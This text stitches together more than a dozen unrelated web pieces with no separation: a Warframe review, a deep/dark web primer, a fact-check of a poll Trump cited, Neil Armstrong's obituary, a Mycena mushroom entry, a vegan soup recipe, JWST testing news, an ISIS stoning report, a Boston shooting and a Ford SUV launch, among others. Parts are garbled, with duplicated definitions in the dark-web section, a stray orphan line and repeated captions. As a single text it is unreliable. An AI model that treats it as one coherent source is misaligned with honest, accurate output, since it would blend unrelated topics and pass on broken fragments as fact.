Several years of updates later, at first glance Warframe looks like a very different beast. I jumped back in for the Plains of Eidolon expansion, which adds an open-world zone for players to fly, shoot, fish and mine their way around. It’s a major divergence from the corridor brawls the game has offered up to this point, but it’s not an escape from the relentless grind.
[I should note up front that since I played, the devs have released a hotfix that reduces the grind and fixes some other problems I mention here. What are games like nowadays eh, improving themselves before critics have had time to weigh in. Where appropriate, I’ve mentioned the specifics of the changes and how they might address my criticisms.]
I’ll get to talking about the expansion in just a minute, but first I’ll get any non-Warframe veterans caught up on what the game’s about. It’s a free to play, multiplayer third person shooty/slashy action RPG, with the titular Warframes each providing a different skillset. The one I’ve been playing with, Excalibur, has a sword that can cut through most enemies like butter as well as blinding them.
As Alec noted in his review, the combat is meaty and satisfying. I’m a big fan of my bow, which can pierce through multiple enemies and pin them to walls. Acrobatics play a large role in every fight: aiming while twisting through the air slows your movement slightly, making you feel like the cyber-ninja you’ve always wanted to be as you headshot foes while sailing over them.
Trouble is, a lot of that ninjaing takes place in repetitive environments with even more repetitive mission designs. There are story missions with set pieces that mix things up, but reaching them means playing through uninspired levels that have you hacking or defending some computer gubbins, or just killing every enemy. There’s no real sense of escalation – it’s a case of sticking things out until the evac point appears. Plains of Eidolon adds a new chain of story missions for low-level players, which helps stop the game from feeling grindy quite so immediately.
To get to the plains, you need to wander through Ceta, a new hub that takes the form of a crowded marketplace. It’s part of a town that’s built around an old ‘Orikin tower’, a structure that’s made from synthetics and meat which the natives harvest to survive. The harvesting is a suitably grimy looking activity that gives Ceta an aesthetic you’re unlikely to have seen before.
It’s packed with a confusing array of vendors, and when I first played it wasn’t immediately clear which ones are set dressing and which ones you can actually interact with. With the recently applied hotfix, the real shopkeepers are highlighted on the minimap. Of course, even when I did manage to talk to vendors they inevitably tried to sell me things I didn’t understand for a unique currency that I a) didn’t have any of and b) also didn’t understand. It turns out they use Standing, which you earn by doing stuff for the Konzu, a new quest-giver who I had managed to miss while heading to the plains.
When I did get out onto the plains, it happened to be night time. The new zone is on a day/night cycle, with 100 minutes of day time passing followed by 50 minutes of night. When it’s dark, the normal enemies hide in their camps and higher level baddies roam the zone – ones that could easily vaporize my under-leveled character. When I returned in daylight, I could just about defeat the enemies closest to the gates. When I ventured more than a minute or two away though, I went back to being annihilated – so I mistakenly got the impression that the plains weren’t accessible straight away.
I realised my mistake later on, and it was my mistake, but this one issue feeds into a broader problem the game has with clarity. Information is often poorly presented, from the upgrade and currency systems to the mission select screen with its overwhelming number of relays and gates (separate things, it transpires), as well as in-game stuff like your health being displayed at the very top right of the screen.
In fairness, some of the problems are partly a consequence of just how deep customisation goes. I mean, look at this tip that comes up on one of the upgrade screens – “Capacity is the larger of your master or weapon rank, and is doubled if an orokin reactor or catalyst is installed”. That’s five separate systems I had to look up before I could even parse one sentence! And don’t get me started on reversing the polarity of the neutron flow individual mod cards.
I found Konzu when I noticed a herd of players gathered around him. He dishes out bounties, which are like story missions in that they launch a separate instance of the plains. Warframe hasn’t suddenly become an MMO so the plains will only contain the players you bring with you directly. Bounties are split into three sections, with a random objective for each like escorting a drone or destroying supply caches. For one of them, you’re given four minutes to seek out crates in a wide area. Whenever it came up, I struggled to find even one of the damn things before my time ran out. That’s another thing the hotfix has improved: you can now use a scanning tool to find the crates, and there’s a more generous time limit.
The best reason to visit the plains might be the archwings, if they weren’t so hard to acquire. Archwings are jetpacks that have previously only been usable on special space missions, but if you don’t already have one and are a beginner like me, don’t get too excited. You’ll first need to reach mastery rank 2, then complete a quest chain to unlock the Archwing itself. After that, to actually use it out on the plains, you need to get your hands on an archwing launch segment. They’re one-use only, and you can get a pack of 50 from the store for $10 – but you’ll have to spend at least $20 because the cheapest money packs are just over $10.
If you don’t want to spend real money, you’ll need to sink a considerable amount of time into gathering the materials to craft them – though much less with the hotfix, which more than halves the resource cost. Gathering those materials involves simple tasks, and requires fishing and mining tools, which have to be bought with Standing, the currency that can be earned through completing bounties for Konzu. When I played, the rewards felt pretty measly, though the devs have now doubled the amount of Standing you get from each bounty.
It’s frustrating that an element as (potentially) enjoyable as archwings is gated behind a good chunk of money or hours of grind. With the hotfix, you should be able to get your hands on one in a much more reasonable amount of time, but I haven’t had the chance to play with one myself, or to determine exactly how much time is required.
I’ve been too busy moaning and trying to understand all of the terminology to mention how gorgeous the plains look. While the armour and weapon designs are flashy, I hadn’t really considered Warframe a good looking game until I reached the open area. It’s particularly alluring at dusk, when the sun casts a glow over the battlefield. The plains are a graveyard, where massive creatures battled aeons ago – and some still remain. I only got a quick glimpse of one of them in the story mission, but groups of high level players will be able to take down the Eidolons that wander around the, ah, Plains of Eidolon at night. They’re hulking beasts of sinewy muscle and glowing lights, with the same meaty/synthetic aesthetic as Ceta.
The Internet : This is the easy one. It’s the common Internet everyone uses to read news, visit Facebook, and shop. Just consider this the “regular” Internet.
: This is the easy one. It’s the common Internet everyone uses to read news, visit Facebook, and shop. Just consider this the “regular” Internet. The Deep Web : The deep web is a subset of the Internet that is not indexed by the major search engines. This means that you have to visit those places directly instead of being able to search for them. So there aren’t directions to get there, but they’re waiting if you have an address. The Deep Web is largely there simply because the Internet is too large for search engines to cover completely. So the Deep Web is the long tail of what’s left out.
: The deep web is a subset of the Internet that is not indexed by the major search engines. This means that you have to visit those places directly instead of being able to search for them. So there aren’t directions to get there, but they’re waiting if you have an address. The Deep Web is largely there simply because the Internet is too large for search engines to cover completely. So the Deep Web is the long tail of what’s left out. The Dark Web: The Dark Web (also called Darknet) is a subset of the Deep Web that is not only not indexed, but that also requires something special to be able to access it, e.g., specific proxying software or authentication to gain access. The Dark Web often sits on top of additional sub-networks, such as Tor, I2P, and Freenet, and is often associated with criminal activity of various degrees, including buying and selling drugs, pornography, gambling, etc.
While the Dark Web is definitely used for nefarious purposes more than the standard Internet or the Deep Web, there are many legitimate uses for the Dark Web as well. Legitimate uses include things like using Tor to anonymize reports of domestic abuse, government oppression, and other crimes that have serious consequences for those calling out the issues.
Common Dark Web resource types are media distribution, with emphasis on specialized and particular interests, and exchanges where you can purchase illegal goods or services. These types of sites frequently require that one contribute before using, which both keeps the resource alive with new content and also helps assure (for illegal content sites) that everyone there shares a bond of mutual guilt that helps reduce the chances that anyone will report the site to the authorities.
Summary
The Internet is where it’s easy to find things online because what you’re searching for is all in search engines. The Deep Web is the part of the Internet that isn’t necessarily malicious, but is simply too large and/or obscure to be indexed due to the limitations of crawling and indexing software (like Google/Bing/Baidu). The Dark Web is the part of the non-indexed part of the Internet (the Deep Web) that is used by those who are purposely trying to control access because they have a strong desire for privacy, or because what they’re doing is illegal.
For more primers like this, check out my tutorial series.
At 4:16 p.m. Monday afternoon, Donald Trump reached an inevitable new nadir in his campaign's fixation on the Islamic State and Muslim immigrants. In a statement released to the press, Trump demanded "a total and complete shutdown of Muslims entering the United States" — refugees, visitors, anyone.
There are a variety of ways to critique Trump's proposal, including the simple logistics of the thing. Identifying people of the Muslim faith at the border — and assuming that a terrorist would necessarily fail that test – seems essentially impossible and a remarkable demonstration of confidence in a government agency by the Republican front-runner. But let's focus instead on the purported justification Trump uses to bolster his probably-political-popular idea.
In the statement outlining his proposal, Trump notes two bits of data. Here's a direct quote:
According to Pew Research, among others, there is great hatred towards Americans by large segments of the Muslim population. Most recently, a poll from the Center for Security Policy released data showing "25% of those polled agreed that violence against Americans here in the United States is justified as a part of the global jihad" and 51% of those polled "agreed that Muslims in America should have the choice of being governed according to Shariah."
We'll start with the Pew data. Trump doesn't link to it, so it's not clear what exactly he's looking at. The polling firm has found that Muslims across the globe are overwhelmingly opposed to the Islamic State and in 2007 that Muslims were much less likely to view suicide bombings as justified than five years prior. Pew also found a partisan split in which Republican Americans were far more likely to hold negative views of Muslims than Democrats. In 2011, they learned that U.S. Muslims almost never consider suicide bombings to be justified.
Since Trump simply said that "large segments" of the "Muslim population" hate the United States, it's hard to tie that to a number. (If we missed something, by the way, we're happy to add it.) But that second set of data, from the "Center for Security Policy," is more important — and it's possible that Trump simply overlaid those findings onto Pew's estimates of the number of Muslims in the United States.
The Center for Security Policy is an organization run by Frank Gaffney, who is identified as an anti-Muslim extremist by the Southern Poverty Law Center. The survey Trump cites was conducted earlier this year on behalf of the organization.
And now all of the various caveats.
1. This was an online survey of 600 people. The only available information about how the poll was conducted indicates that it was conducted online; Georgetown University's Bridge Initiative has reported that it was conducted using an opt-in Internet survey. That makes it less reliable as a national bellwether than more traditional polling methods where all members of a population have a chance of being selected.
2. The questions asked were agree/disagree, which can favor an "agree" response. Our pollster Scott Clement points to research suggesting that people answering poll questions are more likely to agree than disagree with a provided statement. The key questions — on a) having a choice of being governed by Sharia and b) whether violence against America is justified — were asked in that agree/disagree format, leading more people to say they agree than might be accurate.
3. Many U.S. Muslims are first generation immigrants, who may speak English as a second language. According to Pew, 63 percent of U.S. Muslims were born in another country, suggesting that their ability to read and write English may be limited. In which case a nuanced survey question may be more difficult to navigate.
4. The organization conducting the survey matters. There is no question that the results of the survey — which would certainly bear retesting if accurate — were influenced by the organization that paid for it. The Center for Security Policy likely sought poll numbers showing that a significant number of Muslims were supportive of violence against the United States, and the center got what it paid for.
And now, the ace in the hole:
5. That survey is of U.S. Muslims. Meaning that even this already questionable survey has absolutely no relationship to the people from overseas that Trump hopes to restrict.
Here are the tender winners (in reverse order): Here are the tender winners (in reverse order): danas.net.hr/2015/03/06/021000…
A statement from his family says he died from complications from heart surgery he had earlier this month.
He set foot on the Moon on 20 July 1969, famously describing the event as "one small step for a man, one giant leap for mankind".
US President Barack Obama said Armstrong was "among the greatest of American heroes - not just of his time, but of all time".
Last November he received the Congressional Gold Medal, the highest US civilian award.
Image caption Neil Armstrong, the first man to set foot on the Moon, has died aged 82. Here he is seen sitting inside the Lunar Module while it rested on the Moon's surface. Life in pictures: Neil Armstrong Your memories 'Diffident' emissary of mankind
He was the commander of the Apollo 11 spacecraft. More than 500 million TV viewers around the world watched its touchdown on the lunar surface.
Armstrong and fellow astronaut Edwin "Buzz" Aldrin spent nearly three hours walking on the moon, collecting samples, conducting experiments and taking photographs.
"The sights were simply magnificent, beyond any visual experience that I had ever been exposed to," Armstrong once said.
Media playback is unsupported on your device Media caption Buzz Aldrin: "The aerospace world will be saddened"
'Reluctant hero'
Mr Aldrin told the BBC's Newshour programme: "It's very sad indeed that we're not able to be together as a crew on the 50th anniversary of the mission… [I will remember him] as a very capable commander."
Apollo 11 was Armstrong's last space mission. In 1971, he left the US space agency Nasa to teach aerospace engineering.
Born in 1930 and raised in Ohio, Armstrong took his first flight aged six with his father and formed a lifelong passion for flying.
He flew Navy fighter jets during the Korean War in the 1950s, and joined the US space programme in 1962.
Media playback is unsupported on your device Media caption President Obama described him as "one of the greatest American heroes of all time"
Correspondents say Armstrong remained modest and never allowed himself to be caught up in the glamour of space exploration.
"I am, and ever will be, a white-socks, pocket-protector, nerdy engineer," he said in February 2000, in a rare public appearance.
In a statement, his family praised him as a "reluctant American hero" who had "served his nation proudly, as a navy fighter pilot, test pilot, and astronaut".
The statement did not say where Armstrong died.
ALBION goalkeeper Boaz Myhill has today signed a one-year contract extension at The Hawthorns.
The 33-year-old was previously contracted to the Club until the summer of 2017 and has now committed his future for a further 12 months.
Myhill joined the Baggies in 2010 and has to date made 78 appearances in all competitions.
Head Coach Tony Pulis said: "We're delighted Boaz has agreed a contract extension and we've secured his services for an additional year.
"Boaz is a great professional and he provides good competition for Ben."
Myhill joined Albion from Hull City six years ago having made over 275 appearances for the Tigers.
He spent the 2011/12 season on loan at midlands neighbours Birmingham City but has been an ever-present in the Club's Premier League squad ever since.
Myhill, who signed a new two-year deal last summer, has provided strong competition for Baggies No.1 Ben Foster and proved a more than able deputy when stepping in over recent years.
The stopper made 23 Premier League starts last season, the majority of which over the first half of the campaign as Foster recovered from a knee injury.
Taxonomy [ edit ]
First called Agaricus sanguinolentus by Johannes Baptista von Albertini, the species was transferred to the genus Mycena in 1871 by German Paul Kummer,[2] when he raised many of Fries' "tribes" to the rank of genus. The specific epithet is derived from the Latin word sanguinolentus and means "bloody".[3] It is commonly known as the "bleeding bonnet"[4] the "smaller bleeding Mycena",[5] or the "terrestrial bleeding Mycena".[6]
The fungus is classified in the section Lactipedes along with other latex-producing species.[7] A molecular phylogenetic analysis of several dozen European Mycena species suggests that M. sanguinolenta is closely related to M. galopus. Other phylogenically related species include M. galericulata and M. haematopus.[8]
Description [ edit ]
The gills are distantly spaced and have edges that are dark reddish brown. The mushroom "bleeds" red latex when injured.
The cap of M. sanguinolenta is either convex or conic when young, with its margin pressed against the stipe. As it expands, it becomes broadly convex or bell-shaped, ultimately reaching a diameter of 3–15 mm (0.1–0.6 in).[6] The surface is initially covered with a dense whitish-grayish coating or powder that is produced by delicate microscopic cells, but these cells soon collapse and disappear, leaving the surface naked and smooth. The surface is moist with an opaque margin that soon developing furrows. The cap color is variable but always some shade of bright or dull reddish brown with a dull grayish-brown margin. The flesh is thin, not very fragile, sordid reddish, and exudes a reddish latex when cut. The odor and taste are not distinctive.[9]
The gills are adnate or slightly toothed, and well-spaced. They are narrow to moderately broad, sordid reddish to grayish, with even edges that are dark reddish brown. The stipe is 2–6 cm (0.8–2.4 in) long, 1–1.5 mm thick, equal in width throughout, and fragile. The base of the stipe is covered with coarse, stiff white hairs, while the remainder is covered with a drab powder that soon sloughs off to leave the stipe polished, and more or less the same color as the cap. It also exudes a bright or dull-red juice when cut or broken.[9] The edibility of the mushroom is unknown—but it is considered too insubstantial to be of culinary interest.[5][6]
The spores are 8–10 by 4–5 μm, roughly ellipsoid, and only weakly amyloid. The basidia (spore-bearing cells) four-spored (occasionally two- or three-spored). The pleurocystidia (cystidia on the face of a gill) are rare to scattered or sometimes quite abundant, narrowly to broadly ventricose, measuring 36–54 by 8–13 μm. They are filled with a sordid-reddish substance. The cheilocystidia (cystidia on the gill edge) are similar to the pleurocystidia or shorter and more obese, and very abundant. The flesh if the gill is made of broad hyphae the cells of which are often vesiculose (covered with vesicles) in age, and stain pale reddish brown in iodine. The flesh of the cap is covered with a thin pellicle, and the hypoderm (the layer of cells immediately underneath the pellicle) is moderately well-differentiated. The remainder of the cap flesh is floccose and filamentous, and all except the pellicle stain pale vinaceous-brown in iodine. Lactiferous (latex-producing) hyphae are abundant.[9]
Similar species [ edit ]
M. haematopus typically grows in clusters on rotting wood. The similar speciestypically grows in clusters on rotting wood.
The other "bleeding Mycena" (M. haematopus) is readily distinguished from M. sanguinolenta by its larger size, different color, growth on rotting wood, and presence of a sterile band of tissue on the margin of the cap. Further, M. sanguinolenta consistently has red-edged gills, while the gill edges of M. haematopus are more variable.[10] The similarly named M. subsanguinolenta has red to orange juice, is slightly yellower, and does not have pleurocystidia. M. plicatus has a similar furrowed cap, but also has a tough stipe and does not ooze liquid when injured.[6] Mycena specialist Alexander H. Smith has noted a "striking" resemblance to M. debilis, but this species has different colors (pale vinaceous brown or sordid brown when faded), produces uncolored latex, and does not have differently-colored gill edges.[11]
Distribution and habitat [ edit ]
Mycena sanguinolenta is common and widely distributed. It has been found from Maine to Washington and south to North Carolina and California in the United States, and from Nova Scotia to British Columbia in Canada.[9] In Jamaica, it has been collected at an elevation of 1,800 m (5,900 ft).[12] The distribution includes Europe (Britain,[13] Germany,[14] The Netherlands,[15] Norway,[16] Romania[17] and Sweden[18]) and Australia.[19] In Asia, it has been collected from the alpine zone of the Changbai Mountains in Jilin Province, China,[20] and from the provinces of Ōmi and Yamashiro in Japan.[21]
The fruit bodies grow in groups on leaf mold, moss beds, or needle carpets during the spring and fall.[9] It is common in forests of fir and beech,[22] and prefers to grow in soil of high acidity.[18]
Chemistry [ edit ]
Chemical structure of sanguinone A
The fruit bodies of Mycena sanguinolenta contain the blue alkaloid pigments, sanguinones A and B, unique to this species. It also has the red-colored alkaloid sanguinolentaquinone. The sanguinones are structurally related to mycenarubin A, made by M. rosea, and the discorhabins, a series of compounds produced by marine sponges. Although the function of the sanguinones is not known, it has been suggested that they may have "an ecological role ... beyond their contribution to the color of the fruiting bodies, ... since predators rarely feed on fruiting bodies".[22] When grown in pure culture in the laboratory, the fungus produces the antifungal compound hydroxystrobilurin-D.[23] M. sanguinolenta is one of over 30 Mycena species that is bioluminous.[24]
See also [ edit ]
References [ edit ]
Baseball in Israel is changing… all for the better.
Among the many activities that are propelling Israeli baseball forward is this month’s launch of The Israel Association of Baseball’s first-ever Israel Baseball Academy.
Every year about 10 elite baseball players between 14 and 21 years old from all over Israel will be selected to participate in the year-long intensive program, which is recognized by Major League Baseball. This will enable the participants to gain access to MLB’s high-level programs for top European baseball players in Europe.This year’s program got started in mid-October at the Baptist Village in Petah Tikva, where 11 of Israel’s top baseball talents met to work on their skills and reach a higher level of the sport. The Academy is headed by IAB National Director Nate Fish, who is assisted by David Schenker, National Team coach, and Dan Rothem, former college pitcher and longtime Israel National Team player.“This will open many doors that were previously closed to our players,” says Nate Fish, IAB national director and director of the academy. “The goal is to develop our top players so that they’re ready to compete on the highest levels, can train in the US, and play college and even professional baseball.”“This program will ensure that we raise the level of Israel baseball so that we create an outstanding group of players who will be very active in the Israel National Team program, will coach younger players and will represent Israel baseball internationally,” notes Peter Kurz, president of the IAB.As part of a long term plan for the academy, a group of 20 players have been placed on a scouting list as potential candidates for next year.The players who were selected for the first year of the academy are very excited.Ofer Bobrov, 15, has to be dedicated as he travels every week for two hours from Misgav in the North.“I am very proud of being selected for the academy,” he says. “This is one way to achieve my goals, and it’s also a lot of fun to come out and play with players from all over Israel.”
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A bill banning parking on pavements has been introduced to the Scottish Parliament for the third time.
Under the current law, only driving on the pavement is prohibited unless councils have passed specific traffic regulations.
SNP MSP Sandra White hopes her proposals will stop vehicles blocking walkways, a particular issue for people with mobility problems.
But it is unclear whether Holyrood or Westminster has the power to legislate.
The Footway Parking and Double Parking (Scotland) Bill would make it an offence to park on footways or drop kerbs and would outlaw double parking.
Ms White, the MSP for Glasgow Kelvin, wants to give traffic wardens across Scotland the right to ticket vehicles that are causing an obstruction.
The proposal has received the backing of traffic wardens, the fire service and charities such as Guide Dogs Scotland.
'Irresponsible'
But some powers over parking on pavements are reserved, meaning an amendment to the 1998 Scotland Act could be needed to allow Holyrood to legislate.
Stuart Hay, director of the charity Living Streets, welcomed Ms White's bill, and said it was up to the UK and Scottish governments to work together to push the legislation forward.
He said: "The publication of this bill will hopefully clarify how a ban on pavement parking becomes law and how the constitutional issues which have thwarted efforts thus far can be resolved.
"It's vital that the Scottish secretary works with the Scottish Parliament to give councils and Police Scotland the powers they need to protect disabled and visually impaired people from inconsiderate and irresponsible parking."
Former Liberal Democrat MSP Ross Finnie and SNP MSP Joe Fitzpatrick have previously tried to ban pavement parking in Scotland.
Hi everyone! Today’s recipe is Easy Vegan ‘Chicken’ Noodle Soup! It’s yummy, super easy, and it’s every bit as comforting as the one you grew up on, but so much healthier! It has loads of veggies, it’s cholesterol free, low in fat, and instead of chicken, you can use tofu or your fav vegan chicken substitute (recommendations coming). My whole family loves this soup, and my oldest son has even been known to request it for his birthday… in August!! It’s really that good. The recipe is definitely family sized, it makes almost 6 Qts., but I find that it never lasts more than 2 days with our family of 4! You can reduce the size if needed or you can even freeze the leftovers. The best part is that this hearty, healthy soup is really easy to make. I promise it will become a favorite with your family too!
Just like the traditional version, I use carrots, peas and celery (all organic of course!), but I also like to throw some zucchini in there. The bouillon cubes do almost all of the heavy lifting, flavor-wise, so you’ll only need just a little onion and garlic powder to round it out. You don’t even have to have any additional oil! For the ‘Chicken’ I use extra-firm vacuum sealed tofu most of the time. I like the vacuum sealed tofu because it’s more firm and dry than tofu that comes packed in water. The brand that I use is Wildwood. It’s organic and sprouted, and high protein. However, you can use any vacuum sealed tofu, or you can press tub tofu (with a tofu press) if you can’t find vacuum sealed tofu. Another option that is quite yummy, and easy, is Beyond Meat lightly seasoned chicken strips. Just cut it into cubes, or tear it into strips, and put it in towards the end with the zucchini. It’s already flavored, and it will retain more texture if you throw it in last. If you’re using tofu, you’ll put in it first, with the bouillon, so it soaks up the flavors.
You can use any pasta you want for this soup. I am gluten free, so I use gluten free pasta. Most of the time I use one made out of corn and rice because it is the sturdiest one that I’ve found. (Usually Barilla gluten free pasta – sometimes Simply Balanced from Target. They aren’t organic, but Barilla states on their website that they only use non-GMO ingredients and they confirmed with me that their GF pasta is vegan.) I’ve also used the new pastas made out of lentils (that’s the only ingredient! So cool!). It makes this soup even heartier and more filling. That pasta does fall apart a lot more though, in a soup situation, so I usually use the corn-rice pasta, and definitely if I’m serving it for company. 😉
With plenty of veggies, pasta, and chunky cubes of tofu or soy chicken, this savory soup will fill your tummy with nutrition and all of the warm, cozy soup feelings that you crave! Just like it’s meaty inspiration, this vegan ‘chicken’ noodle soup is also great if you are under the weather! It’s easy on the stomach so if your tummy is acting up this soup is easy to digest. If you feel the need to eat something even more mild, you can also just make the broth (not a full sized batch, just a medium sized sauce pot full), put in the veggies, and skip the pasta and the tofu all together. I find it soothing and filling, but light. If it’s a cold that has you (or someone you love!) down, you could use fresh garlic in the soup, and kick that cold to the curb! For regular, no one is sick, but you just want to get-your-soup-on days, the onion and garlic powders in this soup are a great way to round out the flavor and keep it simple!
My guys like to eat crusty bread with this soup, and I like the gluten free table crackers from Glutino. I also love to top it with some freshly ground black pepper and some nutritional yeast, because that’s how I roll! However you eat it, I hope you really enjoy it, and tuck this recipe into your rotation for years to come! While you’re here, you might want to check out some of my other yummy soup recipes, and if you’d like to receive vegan and gluten free recipes, delivered right to your inbox, please sign up for our email newsletter in the box below, and never miss a post! Of course, I’m always on social media too, so stop by and say Hi sometime!
Save Print Easy Vegan 'Chicken' Noodle Soup Author: Angel McNall, Cheftographer Blog Recipe type: Soup Cuisine: American Prep time: 10 mins Cook time: 45 mins Total time: 55 mins Serves: 6 Qts Traditional Chicken Noodle Soup gets a vegan/GF make-over! This version is every bit as warming and comforting as the original, but much healthier, and no chickens were harmed in the making! Ingredients 10 large carrots, cut into chunky slices (about 5 C)
2 stalks or celery diced (about ⅔ C or more if you really like celery)
1 large zucchini cut into chunky pieces - equivelant to about 2 Cups
1 20 oz. block of extra-firm, vacuum sealed tofu (the drier the better), cut into 1" cubes
8 oz. frozen petite green peas
12 oz. (dry) (gluten free if necessary) penne or rotini pasta
5 Chicken Style Bouillon Cubes (I use Edward and Sons Not Chicken cubes)
2 t granulated garlic powder
½ t onion powder
¼ t turmeric powder (opt. - for color)
18 C filtered water
The vibration tests are conducted by the team on a shaker table at Goddard to ensure Webb’s worthiness and that it will survive the rough and rumbling ride experienced during the thunderous rocket launch to the heavens slated for late 2018.
“Testing on the ground is critical to proving a spacecraft is safe to launch,” said Lee Feinberg, an engineer and James Webb Space Telescope Optical Telescope Element Manager at Goddard, in a statement.
“The Webb telescope is the most dynamically complicated article of space hardware that we’ve ever tested.”
Testing of the gargantuan Webb Telescope had ground to a halt after a brief scare in early December when technicians initially detected “anomalous readings” that raised potential concerns about the observatories structural integrity partway through a preplanned series of vibration tests.
“On December 3, 2016, vibration testing automatically shut down early due to some sensor readings that exceeded predicted levels,” officials said.
Thereafter, engineers and technicians carried out a new batch of intensive inspections of the observatory’s structure during December.
Shortly before Christmas, NASA announced on Dec. 23 that JWST was deemed “sound” and apparently unscathed after engineers conducted both “visual and ultrasonic examinations” at NASA’s Goddard Space Flight Center in Maryland. Officials said the telescope was found to be safe at this point with “no visible signs of damage.”
As it turned out the culprit of the sensor anomaly was the many “tie-down … restraint mechanisms ” that hold the telescope in place.
“After a thorough investigation, the James Webb Space Telescope team at NASA Goddard determined that the cause was extremely small motions of the numerous tie-downs or “launch restraint mechanisms” that keep one of the telescope’s mirror wings folded-up for launch,” NASA officials explained in a statement.
Furthermore engineers revealingly discovered that “the ground vibration test itself is more severe than the launch vibration environment.”
NASA reported today (Jan. 25) that the testing resumed last week at the point where it had been paused. Furthermore the testing was completed along the first of three axis.
“In-depth analysis of the test sensor data and detailed computer simulations confirmed that the input vibration was strong enough and the resonance of the telescope high enough at specific vibration frequencies to generate these tiny motions. Now that we understand how it happened, we have implemented changes to the test profile to prevent it from happening again,” explained Feinberg.
“We have learned valuable lessons that will be applied to the final pre-launch tests of Webb at the observatory level once it is fully assembled in 2018. Fortunately, by learning these lessons early, we’ve been able to add diagnostic tests that let us show how the ground vibration test itself is more severe than the launch vibration environment in a way that can give us confidence that the launch itself will be fully successful.”
The next step is to resume and complete shaking the telescope in the other two axis, or “two directions to show that it can withstand vibrations in all three dimensions.”
“This was a great team effort between the NASA Goddard team, Northrop Grumman, Orbital ATK, Ball Aerospace, the European Space Agency, and Arianespace,” Feinberg said. “We can now proceed with the rest of the planned tests of the telescope and instruments.”
NASA’s James Webb Space Telescope is the most powerful space telescope ever built and is the scientific successor to the phenomenally successful Hubble Space Telescope (HST). The mammoth 6.5 meter diameter primary mirror has enough light gathering capability to scan back over 13.5 billion years and see the formation of the first stars and galaxies in the early universe.
The Webb telescope will launch on an ESA Ariane V booster from the Guiana Space Center in Kourou, French Guiana in 2018.
But Webb and its 18 segment “golden” primary mirror have to be carefully folded up to fit inside the nosecone of the Ariane V booster.
“Due to its immense size, Webb has to be folded-up for launch and then unfolded in space. Prior generations of telescopes relied on rigid, non-moving structures for their stability. Because our mirror is larger than the rocket fairing we needed structures folded for launch and moved once we’re out of Earth’s atmosphere. Webb is the first time we’re building for both stability and mobility.” Feinberg said.
“This means that JWST testing is very unique, complex, and challenging.”
The environmental testing is being done at Goddard before shipping the huge structure to NASA’s Johnson Space Center in February 2017 for further ultra low temperature testing in the cryovac thermal vacuum chamber.
The 6.5 meter diameter ‘golden’ primary mirror is comprised of 18 hexagonal segments – looking honeycomb-like in appearance.
And it’s just mesmerizing to gaze at – as I had the opportunity to do on a few occasions at Goddard this past year – standing vertically in November and seated horizontally in May.
Each of the 18 hexagonal-shaped primary mirror segments measures just over 4.2 feet (1.3 meters) across and weighs approximately 88 pounds (40 kilograms). They are made of beryllium, gold coated and about the size of a coffee table.
The Webb Telescope is a joint international collaborative project between NASA, the European Space Agency (ESA) and the Canadian Space Agency (CSA).
Webb is designed to look at the first light of the Universe and will be able to peer back in time to when the first stars and first galaxies were forming. It will also study the history of our universe and the formation of our solar system as well as other solar systems and exoplanets, some of which may be capable of supporting life on planets similar to Earth.
Watch this space for my ongoing reports on JWST mirrors, science, construction and testing.
Stay tuned here for Ken’s continuing Earth and Planetary science and human spaceflight news.
Sep. 25, 2014, 1:22 PM GMT / Updated Sep. 25, 2014, 1:22 PM GMT
ISIS militants stoned a couple to death in an Iraqi town as a crowd watched powerless to stop the brutal attack, according to a witness. "It is a terrible scene I wish I did not remember," a civil servant who said he was present told NBC News on Thursday. The pair — who were aged in their 30s — had been convicted of adultery in an ISIS court. They were then led out in front of a crowd of some 200 residents in Ar Rutbah in western Anbar province, who stood by as eight fighters carried out the execution. “They brought the man and the woman, they tied their hands and covered their faces, and started to stone them," the witness added, speaking on the condition of anonymity because he feared for his safety. NBC News could not independently confirm the account.
The executioners chose stones "smaller than a baseball" in order to prolong the couple's death, the witness said. The couple screamed in agony for much of the 15 minutes it took them to die, he added. “What ISIS did is exactly what had been mentioned in the Quran — to punish married people who commit adultery. But look, we are in the 21st century, and those insurgents would like to take us back in time. Who knows, maybe they will issue new laws in future, like it is not allowed to drive a car, and we have to use camels instead." Word of the incident, which occurred on Sept. 15, emerged as a U.S.-led coalition pressed on with airstrikes targeting ISIS sites, mainly in Iraq but also neighboring Syria.
The Sunni militants conquered Ar Rutbah on June 22. “ISIS fighters are supported by some people in my town. I have to admit that the town is more secure than before when it was under the control of Iraqi security forces, because they pursued sectarian goals,” the witness added. ISIS has drawn strength from Iraq’s large and frustrated Sunni minority, which has suffered under Iraq’s Shiite-dominated government and its sometimes brutal security forces.
A woman was killed and a teenager was injured Saturday afternoon in a double shooting in Dorchester.
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Shots rang out on Washington Street just before 2:30 p.m., forcing people to duck for cover.
"I (want to) say there were four, five, six shots," a witness who didn't want to be identified, said. "I was in the store getting ready to come out. Actually some kids ran into the store to try and get away from the shots, I guess."
The witness said she waited a few seconds before going outside to see what was happening, and found a woman lying on the ground.
"I went up to her and said, 'Are you OK?'" she said. "I shook her. She (kind of) looked but her eyes were wandering around like she couldn't focus."
Police said a second victim, a teenager, had non-life-threatening injuries.
The woman was shot in the chest and was taken to a hospital, where she died.
Boston police Commissioner William Evans said they were investigating reports that the teenager, not the woman, was the intended target.
The Ford EcoSport SUV is a subcompact that will be made in India and imported into the U.S. (Photo11: Ford)
HOLLYWOOD — Ford revealed a new, small addition to its SUV lineup here Monday, leading up to the Los Angeles Show. And the introduction came with a big surprise.
In what may be a first among Detroit's Big 3 automakers, EcoSport is going to be made in India and imported into the U.S.
General Motors recently started importing the Buick Envision SUV from China, but Ford is rare in choosing to import EcoSport — what will become its smallest crossover — from Chennai, India, when it goes on sale in 2018.
Ford has come under attack in recent months from President-elect Donald Trump for moving production of small cars from the U.S. to Mexico. All other major automakers also have expanded and built new plants in Mexico. EcoSport is also made in Brazil.
"We build EcoSport in six locations around the globe. We sell it in 100 markets, and so, just like we make Explorers and export from here into other global markets, we are going to export EcoSport from Asia Pacific, and we are going to sell it here in the U.S," said Michael O'Brien, Ford marketing manager for SUVs.
Ford has made the EcoSport in India since 2013. The EcoSport also is assembled in Brazil, Thailand and Russia and will be made in Romania starting in autumn 2017. When Ford introduced the Transit Connect small delivery vehicle into the U.S., it was imported from Turkey.
"We are a global company, we have a logistics operation shipping Explorers, F-Series and Escapes all over the planet," O'Brien said. "We know how to do it."
Ford is launching the subcompact EcoSport at a time when sales of small SUVs are exploding. U.S. sales of compact SUVs topped 276,000 in 2015. Ford predicts that number will double over the next five years, to more than 550,000.
